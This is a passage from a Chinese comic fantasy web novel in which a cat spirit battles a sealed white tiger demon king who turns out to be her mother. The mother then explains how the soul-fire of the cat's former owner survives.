现在整个猫像一张猫毯子一样趴在地上,感觉自己马上就要原地暴毙。 但猫这会脑子里正在拼命想还有什么能救一救的法子,没有抬头,也没看到那双金色竖瞳里一闪而逝的笑意。 高台下,白底橘斑的猫边装死边头脑风暴, 高台上,白虎妖王好整以暇的交叉着前爪趴了下来。 她低头,看着台下那小小的一坨猫,爪尖动了动,不过没出手做什么。 她似乎并不急着要杀衔蝉。 衔蝉被她的威压压成了一张猫饼,她只要抬抬爪尖就能杀死她, 但她一直没动。 猫也敏锐的察觉到了这一点。 她好像在戏耍自己。 就像猫以前也喜欢追老鼠玩, 但追到了又不吃,而是随手放掉, 等老鼠跑远了以为自己能活下来了她再追上去吓死老鼠。 就是这么恶趣味。 猫科通病。 衔蝉:猫弥陀佛,猫现在遭报应了。 猫现在忏悔还来得及吗! 猫生无可恋的心想,以后猫再也不玩抓老鼠游戏了。 不过她怎么还没动手啊? 难道她也要等到自己跑起来了才会再动手吗? 那她也挺猫的! 猫眼珠子滴溜溜一转,忽然灵光一闪。 既然这个白虎妖王也很猫,那她大概知道她在想什么了! 要戏耍猫是吧?拿猫当老鼠玩是吧?那猫今天还就不动了!让她玩起来都没劲! 等她索然无味的放弃了, 回去睡觉了,猫再起来尝试逃命! 抱着这种想法,衔蝉屏住呼吸开始装死。 高台上的妖王:“” 一根闪烁着寒光的锋利指甲弹出来,又收了回去。 再弹出来,再收回去。 她用烈日般的金眸注视着衔蝉,瞳孔从细线逐渐变成钝圆 这小崽子怎么不动了? 不会是真被自己吓破胆了吧? 真没出息! 妖王的眼里闪过一丝嫌弃。 一大猫一小猫就这么隔着九十九级台阶无言相对,一个低头垂眸,一个趴地装死,一时间场面安静得落针可闻。 太阳逐渐西斜。 高台上,妖王已经懒洋洋的开始打哈欠了。 衔蝉耳朵一竖。 机会来了! 由于脸朝地脑勺对着妖王,衔蝉看不清她的表情,也不确定她现在闭上眼睛没有,于是就悄悄地动了动爪子。 猫悄悄地往前挪了一厘米。 然后火速停下,假装无事发生。 台阶上没动静。 猫暗喜,隔了一会后再往前挪了挪。 挪一厘米,停一会,再竖着耳朵听上面的动静,只要有一丝丝风吹草动,猫马上继续匍匐装死。 就这么慢慢的挪出了小半米。 衔蝉惊喜的发现压制住自己的威压减少了一些。 这说明妖王的注意力大概率已经不在她身上了! 要么她困了,要么已经被别的什么转移了注意力。 总之一定是好事! 猫的机会来了! 再次赌上了猫命,衔蝉嗖的一下从地上弹起来,又双叒叕开启狂飙! 这次猫学乖了,不往城门口跑了,她怀疑城门那边也有还没废掉的传送阵。 她换了个方向,朝上次捡到晏舒寒的位置跑。 毕竟那是经过晏舒寒的性命验证的可逃脱路线,肯定有她的道理! 猫拔腿狂奔。 眼看着即将跑到那片眼熟的废墟了! 晏舒寒的血迹都还在呢! 猫鼓足劲,越跑越快。 但跑着跑着,猫就感觉有点不对劲了。 怎么好像后颈皮隐隐作痛 再看那片眼熟的废墟,怎么猫越跑就离猫越远了?! 不对劲! 意识到自己正在被什么东西揪着后颈皮往后拽,猫的心一下子就凉了。 绝对又是那个恶趣味的妖王干的好事!! 没完了吗! 猫生气了,真的生气了! 跟她拼了!! 被无形之物拎着后颈皮在空中急速倒退的猫疯狂吸收起附近的灵气。 丹田续满! 藿麻就位! 猫爪狂动,大霹雳符就位! 路过一颗野豆苗,顺爪薅一把豆子,注入灵力,豆子傀儡就位! 衔蝉使出了吃奶的劲,把自己所有的攻击手段全部拉满。 甚至破釜沉舟的弹出了爪尖,预备在最危急的情况下直接跟那个妖王近战血拼! 就算是死,猫也要挠她个满脸开花! 下一瞬,猫后颈皮一轻。 定睛一看,果然又回到了台阶下。 猫:这还说啥呢?先拼为敬! 衔蝉抬起头,倔强而又不屈的直视高台上的妖王,猫爪一拍,废墟的地面猛地被绿色的藿麻顶破! 藿麻一路暴涨,愣是从台阶下涨到了台阶上! 浑身是刺的藿麻眨眼间就爬满了高台,而在遍地毒刺里,还有几个巴掌大的傀儡小人正在急速靠近台阶上的妖王。 而衔蝉自己也没闲着,猫在台下继续疯狂画符。 大霹雳符还不够,还要更多! 一张又一张灵符在猫爪下诞生,再次环绕着她组成了好几层符文盾。 这一切只发生在电光火石之间。 台上的白虎妖王眼里划过一丝兴味。 她并没有打断衔蝉的读条,而是放任她继续画符,催生藿麻,催动傀儡。 藿麻长到了她的脚边,试图缠绕住她,豆子傀儡也相继跳到了巨大的虎爪上。 这时衔蝉又画好了十几张大霹雳符。 猫瞅准时机,发射大霹雳符的同时又催动了藿麻和豆子傀儡! 霎时间,一排灵符直奔妖王面门,藿麻则死死缠住四条老虎腿,豆子傀儡们则猛地跳起,跳到了虎背上! 继承了衔蝉一半灵力的豆子傀儡举起手里的种子,直接将它们按进了虎毛里! 就是现在! 衔蝉后脚一蹬,在大霹雳符的连环爆炸声中和忽然从妖王背上爆开的南瓜藤里跳上高台,直奔妖王身后! 一连串的大霹雳符爆炸的动静很是骇人,乍一听跟打雷似的。 而瞬间爆开的南瓜藤居然扛住了爆炸,甚至还顺着爆开的符文直接长成了一座绿色的囚笼! 巨大的南瓜囚笼把缠住虎爪的藿麻和还没炸完的大霹雳符连带着妖王一起笼罩其中。 在狭小的空间里,大霹雳符炸得更响了。 被关在南瓜藤囚笼里的妖王避无可避,被炸了一脸。 但这些东西根本无法对她造成任何伤害。 衔蝉这些攻击,在她眼里只是些奇怪的小把戏。 于是她动了动爪子,轻而易举的踩断藿麻,撕开南瓜囚笼,再一爪拍散剩下的灵符。 爬到她背上的豆子傀儡也被无形的力量碾做齑粉。 眨眼间,衔蝉准备的三重攻击就被她轻描淡写的解决了。 她甚至都没挪动一步。 “小崽子,你”挥开那些乱七八糟的小把戏后,妖王似乎有话想要跟衔蝉说。 但台阶下,衔蝉的身影早已消失不见。 妖王的话顿时一卡。 不等她继续说话,就忽然听到身后传来一阵破空声。 “吃我一记霹雳无敌镇妖爪!!” 衔蝉用超人的姿势伸直了一只前爪从背后袭来,嘴里还大喊着招式名称。 妖王的眼皮子抽了抽。 她有点嫌弃的抬起爪子,想拍飞衔蝉,但没想到一爪下去,拍到的不是衔蝉,也不是她发出的什么霹雳无敌镇妖爪,而是一道爆开的符文巨盾! 由无数古老符文组成的血脉禁咒从猫的身体里爆发出来。 没错,猫压根就没用什么霹雳无敌镇妖爪,没那招式。 她就是要趁妖王注意力被藿麻霹雳符南瓜藤转移的那一瞬间,再用师尊给她刻的血脉禁咒反弹妖王的伤害! 这是猫最后的底牌,也是她保命的手段。 要是这都还没用,那她是真没招了! 血脉禁咒能激发三次,猫有三次机会! 如果能在三招内把妖王反弹回去,猫就还能活! 在血脉禁咒爆发出的刺眼白光里,衔蝉心如擂鼓。 成功了吗? 咔嚓一声轻响。 那是符文盾碎裂的声音。 同时还有比大霹雳符爆炸更惊天动地的响声猛然炸开。 血脉禁咒在最后一刻把妖王的攻击反弹回去了! 当然衔蝉也没指望一次反弹就把她给炸回去,她能炸她三次! 在这三次间隔里,已经够她在高塔边上绕个一圈,再动点手脚了! 她镇不住她,那现成的封印还镇不住她吗! 没错,猫真正的打算是赌上所有的保命手段,再趁机跑去塔上激活封印! 接连三声爆炸巨响似乎预示着衔蝉的计谋成功了。 血脉禁咒的反弹一次不落的炸在了妖王身上。 衔蝉也趁着这极短的时间,跳上了高塔和巨剑之间的锁链上。 只要再拍几个封印的符文,就能“嗷!!!” 猫刚抬起爪,就感觉一阵天旋地转。 熟悉的无形的力量将她按了下去。 灵力耗光,本命灵植全断,丹田筋脉干涸,豆子傀儡无一幸存,三道保命的符文盾也全炸了,这下她是真没招了。 衔蝉发誓,她听到那个可恶的妖王嗤了一声。 她在嘲讽她!! 被一根利爪尖尖按在高台上的猫梗着脖子大叫:“要杀就杀!士可杀不可辱!” “这就算辱了?”妖王动了动爪尖,把衔蝉拨弄了一下。 “那这样呢?” 虎爪一戳,刚被扒拉起来的衔蝉顿时被戳得一个趔趄,扑通一声跪倒在地。 她听到那个可恶的妖王说:“跪下,喊娘。”—— 作者有话说:猫:打赢了就让人跪下喊妈真的很没品!!这跟那些打游戏赢了就让别人喊爸爸的油腻男有啥区别?!(愤怒拍爪) 第90章 衔蝉那是什么猫啊? 吃软不吃硬, 浑身上下除了嘴就是骨头最硬,还天生一副反骨,你越逼她, 她越犟。 所以哪怕现在自己的猫命都快保不住了, 猫即便死了,被钉在棺材里, 也要诈尸坐起来喊一句猫不服! 更别提想逼她跪下喊妈了,根本不可能的! 她衔蝉今天就是死, 从这里跳下去,也绝不可能向这个可恶的妖王屈服! 大不了下辈子又是条好猫! 在生命的最后一刻,衔蝉铁着头皮大叫:“我喊你个头!我才是你娘!我还是你姥姥,是你姑奶奶!” “你有种现在就把你姥姥杀了!咱们下辈子再战!!” 刚喊完这番英勇就义前的豪言壮语,猫就感觉背后一麻。 刚刚眼神还有点戏谑的白虎妖王已经带上了一丝杀气。 猫悲壮的闭上了双眼。 猫固有一死! 巨大的虎爪抬起, 投下的阴影都遮天蔽日的,虎掌上的纹路逐渐在衔蝉眼前放大放大再放大。 砰的一声闷响。 衔蝉化作一道流星,在空中划出一道完美的抛物线。 猫被这巨大的力道打得倒飞出去,在飞出去前一秒还不忘举起爪子弹出最中间的指甲向白虎妖王竖了个中指。 食屎啦你!你就算打死猫,猫也依旧不服! 妖王:“” 用脚指头想都知道这个手势没什么好意思。 还是打太轻了! 冷笑一声后,虎爪再次抬起。 才刚落地的衔蝉马上又被无形的力量勾了回去, 又挨了结结实实的一巴掌。 连挨了两掌的衔蝉颤巍巍的从一地废墟里爬起来, 呸出一口带血丝的唾沫。 正准备再说两句垃圾话发泄一下,但下一秒, 猫又被拉回了高台。 巨大的白虎弹出右掌中间那根指甲,只一根爪尖,就把衔蝉按在台上动弹不得。 “给你个认错的机会。” 妖王居高临下的看着浑身每根毛毛都写满了不服的猫,爪尖稍一用力。 只要再往下一点点,衔蝉当场就能被这巨大的爪勾串成咸猫串。 威胁之意毫不掩饰。 但衔蝉是那种会服软的猫吗? 猫就是死了三年, 嘴巴和骨头也还是硬的! “我有什么错!为什么要认!你要杀就杀,废话那么多做什么!” 桀骜的猫大喊:“今天你姥姥但凡缩了下脖子,就改名跟你姓!” 妖王的眼神瞬间冷了下来。 “我看你是真想死了。” 爪勾向下压了一点,锋利的爪尖已经抵在了衔蝉的喉咙上。 “最后一次,认错。” 猫的喉咙里发出了呜呜的低吼声。 虽然被压着喉咙已经说不出话来了,但认错是不可能认错的!猫没有错! 猫只是输在了法力不够上,下辈子注意点就是了! 衔蝉这宁死不屈的模样,把妖王气笑了。 她松开爪勾,化成身穿白底黑边长袍的威武人形。 人形比衔蝉还高了两个头的妖王单手把猫举起来,再用力往台阶上一掼! “嗷!!!” 倒霉的猫就这么头朝下的被栽进了地里,只剩下两条后腿和尾巴在空中疯狂乱蹬。 不过幸好猫已经是有法力的铁头猫了,这种暴力栽猫法还不至于要了她的猫命。 猫在地里挣扎了半晌后终于让后腿落地了,再用后脚踩着地面发力使劲把自己的猫脑壳往外拔。 她费了九牛二虎之力,才总算把自己从地里拔了出来。 灰头土脸的猫用前爪抹了抹脸上的泥巴,气势丝毫不减的扭头准备继续跟妖王对线。 但她扭头一看,高台上只剩下她一个猫了。 刚刚还杀气腾腾的妖王已经不见了。 不知道是被猫气跑了还是咋。 衔蝉环视一圈,目光转移到高塔上。 估计妖王就被她气回去了吧。 猫顿时有点得意,她吵架就没输过! 打不过她怎么了,猫一样能气死她! 抹掉脸上被揍出来的鼻血,衔蝉一瘸一拐猫猫祟祟的在高台上走了一圈。 确定那个妖王已经被气进塔里并且暂时没有继续要杀自己的意思后,猫的心思又活络起来了。 先前跟她硬刚的时候猫确实已经把生死置之度外了,但现在生命危险好像解除了,那要不还是跑吧? 毕竟猫有九条命什么的都是假的,猫被揍,就会死。 要是再被那个暴力的妖王逮着揍一顿,那猫恐怕就真的要呜呼哀哉了。 在能活的情况下,猫还是想继续活下去的。 猫还有大业未成,哪能死在半路呢对吧? 这么一想,猫马上就脚底板抹油,准备趁机开溜。 但她刚走到高台边缘,头顶就传来一声呼啸,随后一个疑似檐角的巨大暗器砰的一声扎在衔蝉面前,挡住了她的去路。 猫连忙后退。 亲娘来!差点就又要被焊进地里了! 抬头一看,高塔的第三层屋檐上果然坐着一个熟悉的可恶的家伙。 依旧保持着人形的妖王曲起一条腿斜倚在屋檐边的柱子下,身旁的檐角果然多了个缺缺。 妖王冷森森的俯视着想跑的猫,说出来的话也凉飕飕的:“在你认错之前,敢跑你就死定了。” 衔蝉:“” 猫用后腿直立起来,前爪叉腰:“都说了要杀就杀!认错是不可能认错的!你要么现在就杀了我,要么等我变强了回来杀了你!” 面对猫的大放厥词,妖王冷笑一声。 “就你?” 衔蝉被她轻蔑的眼神看得炸毛:“啊!就我!怎么啦!” 莫欺少年穷没听过吗! 她也就是输在年龄上了,但凡她也活了个几百上千岁,今天谁输谁赢还不一定呢! 坐在屋檐上的妖王闻言又冷笑一声。 她像是已经没耐心再跟衔蝉吵下去了似的,移开了视线不再看衔蝉。 又不知道从哪里摸出一个酒葫芦来。 邦的一声。 酒葫芦从高塔上被扔下来,刚好砸在衔蝉头顶。 猫被砸得眼冒金星,感觉脑壳都要起包了。 她正要梗着脖子再骂两句撒撒气,却见屋檐上的妖王转身走进了塔里。 还丢下一句话:“去,弄些酒来。” 猫:好莫名其妙! 猫干嘛要听你的呢! 下一秒,又一块檐角飞射过来,猫眼皮子跳了跳,连忙躲开。 “喂!这荒郊野岭的!上哪去给你弄酒来啊!” 高塔里一片寂静。 这时天色渐晚,整片封印之地都在夜风的呜咽声中显得有些瘆人。 月亮升到高塔塔尖上时,衔蝉坐在塔下的台阶上,抱着一个比她整个猫还大了许多的葫芦,一脸深思。 让猫来复盘一下,今天这是怎么个事呢。 先是她在王庭遗址里找传送点,然后妖王醒了,不知道发什么癫把她给拉过来了。 把她拉过来之后呢又莫名其妙的揍了她一顿,莫名其妙的逼她跪下喊娘认错,又莫名其妙的收手停战,还更莫名其妙的丢给她一个葫芦让她去弄酒。 这一连串的事情完全没有任何逻辑嘛! 她到底想干嘛啊? 不过这时候猫也咂摸出来了,妖王不知道出于什么原因,暂时好像没有杀她的打算。 是因为同族的缘故吗? 还是被封印在这里这么多年太无聊了? 或者看在大家都是猫科的份上? 猫百思不得其解。 再仔细想想,她怎么感觉那个妖王好像有点眼熟欸! 那双金色竖瞳! 猫想起来了! 猫在梦里见过的! 就是坠崖后跟着师尊去炸隧道的时候! 那时她做了一个很奇怪的梦,梦的尽头就是她撞在了一堵“墙”上,然后就看到了那双比她整个猫还要大得多的金色竖瞳。 猫当场就被惊醒,然后岭山封印就震了一下。 现在看来,梦里那双竖瞳确实是妖王的了,不然封印也不会忽然震起来 可是,她为什么会梦到妖王啊? 难不成上辈子她们认识? 猫用后腿蹬了蹬耳朵,严肃心想,要真是这样的话,那好像就能理解她为什么不杀她了。 但话又说回来了,如果她上辈子和妖王认识,那她刚刚揍她干嘛?!还揍了两顿!还把她倒栽在地里! 熟猫之间至于这么狠吗?! 那难不成上辈子她们有仇? 也不太像啊。 有仇的话,她直接把她杀了不就好了。 干嘛光揍不杀,还丢个葫芦给她让她去弄酒,搞得大家好像很熟的样子。 猫真的跟她不熟啊! 猫越想越不对劲,寻思反正一时半会儿也跑不掉了,不如直接找她问问。 衔蝉丢开酒葫芦,跑到高塔下,仰头喊了一声:“喂!” 高塔里又射出一块檐角,钉在衔蝉面前。 衔蝉的胡须抽搐了几下,默默后退了两步,扯着嗓子继续问:“问你个事!咱俩以前是不是认识啊?!” “你为什么不杀我?干嘛让我给你弄酒?我好像梦到过你,是你给我托梦的还是我俩以前见过啊?” “你怎么不说话?睡了吗?喂喂喂?吱个声啊!” “我知道你就在里面!你有本事揍我,你有本事说话啊!” “起来!别睡了!你这个年纪你怎么睡得着的!” “生前何必久睡,死后嗷!!”又一块檐角飞过来,打断了猫。 衔蝉嗖的一下跳起来躲开这块檐角,非常胆肥的打破砂锅问到底:“你说句话呀!干嘛不吭声!” “吵死了。” 眯着眼睛一脸不爽的妖王从高塔第五层跳下来,吓了衔蝉一跳。 不过猫都是顺杆爬的。 衔蝉见她下来了,马上跑到她面前仰头站定,但忽然又觉得这个姿势好像显得自己有点弱势,便也化成了人形。 可等化成人形后,猫才尴尬的发现,自己起码有一米九的人形居然还比这个妖王的人形矮了两个头 岂有此理! 猫偷偷垫了垫脚。 “所以咱俩真认识嗷!!!” 片刻后,妖王抖了抖袖子,脚尖一点,飞身回塔。 原地只留一个又被栽进了地里的衔蝉在月色下疯狂蹬腿试图把自己拔~出来。《 》 90-100 第91章 衔蝉第二次把自己从地里薅出来的动作就熟练多了。 她也确信了, 这个妖王确实没打算杀她。 而且她也没有否认猫追问的问题,也就是说,搞不好她们之前真是熟妖。 既然如此, 那猫的生命安全基本上就不用担心了。 衔蝉的胆子顿时又肥了两圈。 不过她并没有立刻做点什么。 毕竟妖王的性格有多暴躁她也算是亲身体会过了, 要是继续追问下去,等会又要被她栽进地里了。 有什么问题还是明天继续再问吧, 或者等妖王心情好点了再说。 摸了摸头顶的大包,衔蝉蹲在台阶上为自己掬了一把辛酸泪。 这时候已经不早了, 衔蝉干脆就团起来睡觉了。 她心大得很,没一会就睡着了,整个猫都睡成了一个标准的圆。 熟睡的猫在夜色里胡须抽抽爪子抽抽,时不时还咕哝两声梦话。 在高塔上看到这一幕的妖王:“” 她揉了揉眉心,叹了口气。 随后变回原型, 从高塔上一跃而下。 巨大的白虎缓步走向睡成一坨的猫,走到猫面前时,还伸出爪尖刨了刨她。 但衔蝉早就沉浸在梦乡里了,不仅没醒,还条件反射的一巴掌拍开了老虎爪子。 见她睡得这么熟,大老虎顿了顿, 张开了嘴。 比衔蝉的猫腿还长的利齿逐渐靠近衔蝉的颈椎。 却在即将触碰到猫脖子时换了个角度, 把猫叼了起来。 由于体型差距巨大,乍一看, 就好像衔蝉被大老虎含在嘴里,马上要吞掉一样。 可即便这样,猫还是没醒。 她今天真是被累(zou)坏了,身体和精神都急需休息。 于是猫就这样在睡梦中被叼进了高塔 第二天清晨的阳光从高塔外照进来时,衔蝉迷迷糊糊的睁开了眼睛。 半梦半醒的猫感觉自己好像睡在了一张极其温暖舒适的电热毯上。 暖烘烘的温度让猫感觉舒爽极了, 下意识的咕噜噜起来。 爪子也不自觉的按在了“电热毯”上,一张一合的踩了起来。 等等!不对! 猫猛地睁开双眼。 这一睁眼可不得了了,猫又傻眼了。 我是谁我在哪发生了什么这白毛毛是哪来的我为什么会睡在大老虎身上啊喂! 猫CPU过载,爪子都僵住了。 妖王懒洋洋的声音在她头顶响起:“醒了?” 衔蝉嗖的一下从大老虎身上跳下来。 猫疑惑:“是你把我叼进来的吗?还是我梦游到你窝里来了?” 大老虎用一种关爱智障的眼神瞄了衔蝉一眼。 “你觉得就凭你自己,能梦游到这塔里来吗?” 衔蝉:“!!” 猫更疑惑了:“那你叼我进来做什么?!” 大老虎慢条斯理的舔了舔爪子:“你猜。” 衔蝉歪头:“咱俩真认识?你想走我的关系让我把你从封印里放出去?” 又是一声嗤笑。 妖王慢声道:“只要我想,这封印我随时都能出去。” 衔蝉却不信:“你要真能出去,干嘛还会被封在里面几百年嗷!!!” 猫又被一巴掌扇飞了出去。 “在你娘面前说话老实点,别找揍。” 犟种猫一听又炸毛了:“在你姥面前不要动手动爪的!又不熟!” 大老虎腾的一声站了起来。 在衔蝉面前投下一大片阴影。 熟悉的威压又来了,衔蝉的猫腿被压得发软,但她却依旧梗着脖子不肯低头。 “逆子!” 巨大的虎爪从天而降,一巴掌就把衔蝉镶进了高塔地板里,抠都抠不出来。 猫一边挣扎一边大声嚷嚷:“你怎么占人便宜还没完了!还讲不讲道理!” “道理就是下雨天打孩子,闲着也是闲着!”大老虎冷笑一声。 说罢,她把衔蝉从地板里抠出来,抬起爪又是一顿痛揍。 衔蝉被揍得像个溜溜球一样在塔里滚来滚去,嗷嗷直叫。 头上又多了一串包的猫终于老实了。 她鼻青脸肿的靠墙蹲着,浑身的怨念都快溢出来了。 不过这顿揍也不是白挨的,猫脑子好像被揍清醒点了。 她后知后觉的反应过来:“你是想说,你真是我娘?” 大老虎终于露出了“孺子可教”的眼神。 衔蝉惊呼一声:“那不可能!物种都不对!老虎怎么生猫嗷嗷——!!” 又是邦的一巴掌。 衔蝉吸溜了一下淌出来的鼻血:“好吧,也许我是个混血儿。” 唉,事到如今这个妖王娘是认也得认不认也得认了,主要是再不顺着她的话说猫感觉自己真的要被揍死了。 那些凶残恐怖的妖王传说真是一点都没冤枉她!! 衔蝉正腹诽呢,头顶又挨了一巴掌。 猫捂着脑壳,敢怒不敢言。 看着这刺球一样的崽子,路涉川皱了皱眉。 这破崽子怎么长成这样了。 明明在蛋里的时候还挺乖的。 难道是在送她去异界的路上伤到了脑子? 又叹了口气,路涉川心想,罢了,好歹也是自己唯一的小崽子,长歪了就长歪了吧,大不了她再揍回来就是了。 人类那边不是有句话叫,树不修理不直溜,人不修理艮啾啾吗? 想来教育崽子的道理都是一样的。 勤修理就行了。 “咳咳!那什么,娘啊” 衔蝉在墙角小心翼翼的开口:“您老能确定不?我真是你崽?没搞错吧?” 路涉川瞪了衔蝉一眼。 随后她又抬起爪子,给了衔蝉一掌。 这一掌,她没收着力。 衔蝉身上顿时爆发出一阵刺眼的金光,同时还有一声咔嚓轻响,像是有什么东西碎掉了。 猫低头一看。 原来是我碎了。 猫真的碎了!! 一道道裂纹爬上衔蝉的身躯,但衔蝉却没觉得痛,反而有种莫名松快的感觉。 就好像常年穿着的小一码的紧身衣骤然被脱下了一样。 一串串符文从猫身上飘出来,又消散在空中。 符文每飘出一行,衔蝉身上的裂纹就更深一点。 而裂纹下,露出了隐约的白和黑。 衔蝉睁圆了眼睛,这些符文,该不会就是她身上那道神秘封印吧?! 不是说那道封印是用来保护她的吗,现在封印碎了,她不会有逝吧? 猫脑子里想着些有的没的,身体却随着符文的消散和裂纹的崩开逐渐膨胀。 随着最后一道裂纹的彻底崩散,白底橘斑的猫消失不见,取而代之的是一头不折不扣的小老虎! 跟路涉川同款的黑白条花色和额头醒目的王字明晃晃的昭示着她们之间的血缘关系。 衔蝉:“!!” “嗷!!” 张口的声音也从猫叫变成了尚且有些稚嫩的虎啸。 衔蝉惊奇的举起自己变大了许多的爪子,左看右看,越看越兴奋。 “我居然是老虎诶!” 变得比普通的狼还要大两圈后,衔蝉的身体终于停止了膨胀。 她的体型也就稳在了这么大。 但跟狼比起来,她的脑袋更大更圆,四肢更粗短,体格更敦实——一看就是幼虎的头身比。 衔蝉这下终于相信了。 小白虎迈着欢快的步伐跑到大白虎面前,仰着头:“娘?” “嗯。” 小白虎顿时亢奋起来:“妈!!” “嗯。” 很耐心的看着崽子上蹿下跳的跑了好几圈后,路涉川才重新把她叼回来。 在她面前,变大了的衔蝉依旧是小小的一坨。 被叼住了后颈皮的衔蝉放软了四肢,任由大老虎叼着走。 垂下的尾巴却翘起了尖尖。 猫,不是,虎也有妈妈啦! 虽然这个妈妈有点暴躁,有点凶残,有点不讲道理,还爱揍孩子,但有总比没有好! 衔蝉乐颠颠的爬到大老虎头上,杵在她耳边问:“妈,那个封印是你给我下的吗?” 路涉川抖了抖耳朵,有点想把破崽子从头顶薅下来,但一想到是亲生的,她又忍了。 “是,现在信了吧?” “信了信了!” 衔蝉这下可不困了,当场就追着问了一大串问题。 “妈,那些人为什么要封印你?你能出去的话为什么不出去?你怎么不来找我?我为啥没有传承记忆?” “三姑说我以前一直在睡觉是不是也跟你给我下的封印有关?” 路涉川被吵得脑瓜子嗡嗡的。 是亲生的亲生的亲生的。 她努力给自己做心理建设。 终于找回了一丢丢母爱的大老虎终究还是忍住了一巴掌拍死破崽子的冲动。 她组织了一下语言,正要回答崽子的一连串问题,衔蝉却忽然跳了起来。 “啊!妈!先不说那么多了,你能不能先把我送回去一趟?” “我出来好几天了,也不知道洞里怎么样了,我得回去看看!” “妈,要不你也跟我一起回去吧?” 衔蝉心里的小算盘拨得噼里啪啦响。 要是虎妈也跟着她一起回去,胡二和雪狐族都不足为惧了! 还在雪狐族里的阿琅也不至于出现什么意外了。 而且! 虎妈也跟着回去的话,那东坡子洞岂不是直接无敌了?! 衔蝉越想越快乐,嘴巴都要笑歪了。 但路涉川对此的回答是又给了衔蝉后脑勺一巴掌。 “要回去看看可以,你自己回去。” 衔蝉:“啊?为什么呀?你不跟我去看看我的洞府吗?” 路涉川摇摇头:“现在不行。” 现在她还不能从这个封印里出去。 衔蝉顿时用“说什么想出去随时都能出去结果还是在吹牛吗”的眼神看向亲妈。 毫不意外又挨了一记母爱铁砂掌。 衔蝉:“” 恼羞成怒,这绝对是恼羞成怒! 路涉川啧了一声。 “你在想什么。老娘不是出不去,是现在还不能出去。” “要是我现在就出去了,灵霄那个蠢货这辈子也活不了了” 第92章 “灵霄还活着?!她不是战死了吗?” “是死了, 没全死。”大老虎懒洋洋的解释:“她在死之前撕裂了自己的魂魄。” 而撕裂的两半残魂,路涉川护住了一半,另一半被灵霄主动用在了护送衔蝉去异界的路上 衔蝉眼睛都瞪圆了:“护送我?去异界?!” 路涉川甩了甩尾巴:“不要明知故问。” 这破崽子明明才从异界回来, 现在装什么不明白呢? 衔蝉更傻了:“啊??” 好似一道惊雷劈过, 小白虎一下子跳了起来:“所以灵霄真的是铲屎官啊?!” 路涉川皱了皱眉:“什么铲屎官。” “她用自己的残魂为你开路,路上就算被磨灭了一部分, 应该也会还剩下一点去投胎转世。” “我给你们的魂魄都打了印记,你们在异界应该也能重逢。” 衔蝉已经震惊得不知道该说什么好了。 “所以我不是穿越过来的, 我是原住民,而铲屎官也是原住民,并且还是灵霄的转世?!” “不知道你说的什么铲屎官。” 路涉川道:“总之在你在异界的时候,跟你一直在一起的人类就是灵霄。” 衔蝉捂着胸口喃喃自语:“原来是这样我就说第一次看见铲屎官就觉得好亲切” 然后她就乐颠颠的跟着人回了家,并且就此扎根在铲屎官家的村里, 做起了村霸猫。 “可是,为什么铲屎官从没跟我说过这些啊?”搞得猫一直以为自己是普通猫,铲屎官也是普通人。 “魂魄磨损后再转世,记忆就保不住了。”路涉川悠悠解释。 也就是说,跟着猫一起生活了二三十年的铲屎官确实已经是个蓝星普通人了。 “但是她的灵魂深处肯定还记得一点点,不然她不会天天在家里穿斑马睡衣。” 衔蝉看着亲妈的黑白皮毛喃喃道:“我就说她为什么老喜欢穿黑白条的衣服” 搞得她都耳濡目染了, 回来化形时化成的衣服都是黑白条。 诶不对! 衔蝉低头看了看自己如今的一身黑白条的毛色, 恍然大悟。 明白了,一切都明白了! 难怪她从小就力气大, 不怕水,长得比别猫大几圈,村里的狗子她也一揍一个嗷嗷叫! 原来她一开始就是头小老虎啊! 衔蝉只花了一秒钟的时间就接受了这个事实。 随后她又追问起了铲屎官的另一半魂魄在哪,虎妈为什么又说她离开封印后这辈子的铲屎官就活不了了? 路涉川被衔蝉追问得脑仁疼,干脆一巴掌把她拍飞到了塔顶。 衔蝉在塔顶翻滚了几圈后, 发现这上面有一座迷你的玲珑小塔,塔里还燃着一簇微弱的小火苗。 “这是什么?”衔蝉伸出爪子,想去拨弄一下迷你塔。 大白虎也跟着跳上塔顶,一巴掌拍开了衔蝉想要拨弄玲珑小塔的爪子。 “这是灵霄剩下的魂火。” “这一半的魂火还燃着,她这辈子就还能活,魂火一熄,她就彻底死了。” 这辈子已经是凡人的灵霄要是连最后这点魂火也熄了,从此世界上就再也没有这样一个人了。 哪怕是在异界继续轮回转世的机会都不会再有。 盯着那簇小火焰,路涉川眼神幽幽的。 有时候她真的想一巴掌拍散这逆徒的魂火让她死了算了。 可每次要下手的时候,她又总是想起她当年得知真相后毅然决然撕裂魂魄去护送衔蝉的样子。 最终爪子还是收了回去。 衔蝉也默默地缩回了爪子。 “这个魂火,你离开了,她就会熄灭吗?” 路涉川嗯了一声,又摇了摇头。 “我只是离开的话,她不会熄,但我一走,天师堂的人不来了,她就要熄了。” 当年为了保住逆徒的一半残魂,她用法力将她的魂火封存了起来。 本来以她的法力和修为,一直护着灵霄的魂火也没什么大问题的。 可当时那些利用灵霄的人类都打上门来了,路涉川也不得不暂时放下逆徒的魂火,前去应战。 而那时候她的状态也不好,不仅分出了一部分法力去护住魂火,还散了几百年的修为拿去护送崽子去异界避难。 加上人类又是偷袭又是设陷阱的,最后还拼上了所有大天师的命,将路涉川封印在了王庭。 等一切结束时,路涉川被封印,灵霄的魂火也摇摇欲坠。 被封印在塔里之后,路涉川想要再救灵霄的魂火都找不到材料——大部分能护住魂魄的材料,早就已经用在衔蝉身上的封印里了。 这也让路涉川心里有些烦躁。 没奈何,她只好另辟蹊径,找到了另一个可以源源不断为灵霄的魂火提供养分的东西。 衔蝉歪头:“就是这座塔的封印?” “嗯。” “我把灵霄的魂火和封印绑在了一起,只要封印在一天,她的魂火就能燃一天。” 她抽取了高塔封印里的灵力给逆徒续命,从此以后人类每加固一次封印,就是在为灵霄的魂火补充一次养分。 这也是路涉川为死去的逆徒做的最后一件事。 “她太蠢,蠢得好坏都分不清。” “说什么两族共享资源共同发展,都是些小崽子的梦话而已,偏偏她就信了。” 路涉川越说越不高兴,爪子都抬起来了。 但始终没拍下去。 “哼,等把她的魂火养得能自保了,老娘就不管她了。” 路涉川嘴上骂骂咧咧,但行动很诚实的在封印里一待就是数百年。 这几百年间,她时不时的弄出点动静,提醒人类们来加固封印。 衔蝉竖起耳朵:“所以前段时间封印震动,也是你故意的吗?在喊人类来帮铲屎官续火花?” 邦的一声闷响,衔蝉脑勺又挨了一掌。 路涉川很不高兴:“那是老娘在喊你!” 当年她为了保护崽子,也为了方便自己大开杀戒,更为了让人类竹篮打水一场空,她才送走了衔蝉。 